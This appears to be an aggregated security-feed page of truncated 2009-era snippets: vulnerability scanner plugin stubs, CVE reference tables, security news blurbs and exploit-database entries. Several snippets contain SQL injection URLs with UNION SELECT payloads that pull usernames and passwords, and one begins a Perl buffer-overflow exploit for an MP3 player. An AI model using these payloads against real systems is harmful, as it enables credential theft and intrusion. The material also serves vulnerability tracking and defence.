SuSE9 Security Update : Acrobat Reader (YOU Patch Number 12211)

This update of acroread fixes an unknown error in a JavaScript method that can lead to remote code execution. CVE-2008-2641 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc. include'deprecatednasllevel.inc'; include'compat.inc'; if...

PBS Website Compromised, Used to Serve Exploits

Some sections of the popular PBS.org Web site have been hijacked by hackers serving up a cocktail of dangerous exploits. According to researchers at Purewire, attempts to access certain PBS Web site pages yielded JavaScript that serves exploits from a malicious domain via an iframe. The malicious...

Rogue AV Scam Targets Google PageRank

An ongoing attack on Google users is sending victims to rogue anti-virus software sites, researchers said this week. The attack takes advantage of Google’s page-ranking feature, according to researchers at eSoft’s Threat Prevention Team. The scam works like this: An attacker hacks a site, but...

CVE-2009-3486

creationtimestamp| type| source ---|---|--- 2009-09-22 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/33258 2009-09-22 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/33259...

Linux Kernel get_random_int函数不充分随机数漏洞

Linux kernel 2.6.x CVE ID: CVE-2009-3238 Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel的drivers/char/random.c文件中的getrandomint函数所生成的随机数随机性不够，攻击者可以相对容易的预测返回值，绕过基于随机化的保护机制。 Linux kernel 2.6.x 厂商补丁： Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...

CVE-2009-4661

creationtimestamp| type| source ---|---|--- 2009-09-16 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/9695 2009-09-21 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/9734...

CVE-2009-3493

creationtimestamp| type| source ---|---|--- 2009-09-16 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/34454 2009-09-16 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/34453...

BRS Webweaver 1.33 - '/Scripts' Access Restriction Bypass

Name : BSR Webweaver Version 1.33 /Scripts access restriction bypass vulnerbility Author : Usman Saeed Company : Xc0re Security Reasearch Group Date : 15/09/09 Homepage : http://www.xc0re.net Download Page : http://www.brswebweaver.com/downloads.html Attack type : Remote Patch Status : Unpatched...

Wireshark: Denial of service

Background Wireshark is a versatile network protocol analyzer. Description Multiple vulnerabilities were discovered in Wireshark: A buffer overflow in the IPMI dissector related to an array index error CVE-2009-2559. Multiple unspecified vulnerabilities in the Bluetooth L2CAP, RADIUS, and MIOP...

Mac OS X 10.6.x < 10.6.1 Multiple Vulnerabilities

The remote host is running a version of Mac OS X 10.6.x that is prior to 10.6.1. Mac OS X 10.6.1 contains security fixes for the following product : - Flash Player plug-in C Tenable Network Security, Inc. if !definedfunc"bnrandom" exit0; include'compat.inc'; if description scriptid40946;...

Mac OS X Multiple Vulnerabilities (Security Update 2009-005)

The remote host is running a version of Mac OS X 10.5 or 10.4 that does not have Security Update 2009-005 applied. This security update contains fixes for the following products : - Alias Manager - CarbonCore - ClamAV - ColorSync - CoreGraphics - CUPS - Flash Player plug-in - ImageIO - Launch...

MYRE Holiday Rental Manager - action SQL Injection

MYRE Holiday Rental Manager - action SQL Injection Viva IslaM Viva IslaM Remote SQL Injection Vulnerability review.php action MYRE Holiday Rental Manager http://www.myrephp.com AuTh0r : Mr.SQL H0ME : WwW.55a.NeT Email : [email protected] -: ExploiteS :-...

Bus Script SQL Injection

Viva IslaM Viva IslaM Remote SQL Injection Vulnerability aboutus.php sitetextid Bus Script http://www.tourismscripts.com/ AuTh0r : Mr.SQL H0ME : WwW.55a.NeT Email : [email protected] -: ExploiteS :- www.TraGeT.CoM/aboutus.php?sitetextid=-1'+UNION+SELECT+0,CONCATWS0x3a3a,username,password,0+FROM+user...

Accommodation Hotel Booking Portal (hotel_id) SQL Injection Vuln

Exploit for unknown platform in category web applications ================================================================ Accommodation Hotel Booking Portal hotelid SQL Injection Vuln ================================================================ Remote SQL Injection Vulnerability hotel.php...

iDesk - 'download.php?cat_id' SQL Injection

Viva IslaM Viva IslaM Remote SQL Injection Vulnerability download.php catid iDesk http://www.nicecoder.com AuTh0r : Mr.SQL H0ME : WwW.55a.NeT Email : [email protected] -: ExploiteS :- www.TraGeT.CoM/download.php?catid=-1+UNION+SELECT+0,0,0,@@VERSION,0,0,0,0,0-- -:: !Gr3E3E3E3E3E3E3TzZ! ::- ::...

MYRE Holiday Rental Manager - 'action' SQL Injection

Viva IslaM Viva IslaM Remote SQL Injection Vulnerability review.php action MYRE Holiday Rental Manager http://www.myrephp.com AuTh0r : Mr.SQL H0ME : WwW.55a.NeT Email : [email protected] -: ExploiteS :-...

Millenium MP3 Studio (pls/mpf/m3u) Local Universal BOF Exploits (SEH)

Exploit for unknown platform in category local exploits ===================================================================== Millenium MP3 Studio pls/mpf/m3u Local Universal BOF Exploits SEH ===================================================================== !/usr/bin/perl by hack4love Milleni...

CVE-2009-3174

creationtimestamp| type| source ---|---|--- 2009-09-09 00:00:00+00:00| confirmed| https://www.exploit-db.com/exploits/9600...

Five Critical Bulletins Coming on MS Patch Tuesday

Microsoft’s September batch of security updates will include fixes for a multiple “critical” vulnerabilities affecting the Windows operating system. In all, the software maker will release five bulletins with patches for a range of flaws that could expose users to remote code execution attacks. T...

Soritong MP3 Player 1.0 (.m3u//UI.txt) Universal Local BOF Exploits

No description provided by source. !/usr/bin/perl by hack4love [email protected] Soritong MP3 Player 1.0 .m3u//UI.txt Universal Local BOF SEH Original exploit:::http://www.milw0rm.com/exploits/8624 by Stack m3u file my $bof="\x41" x 260; my $nsh="\xEB\x06\x90\x90"; my...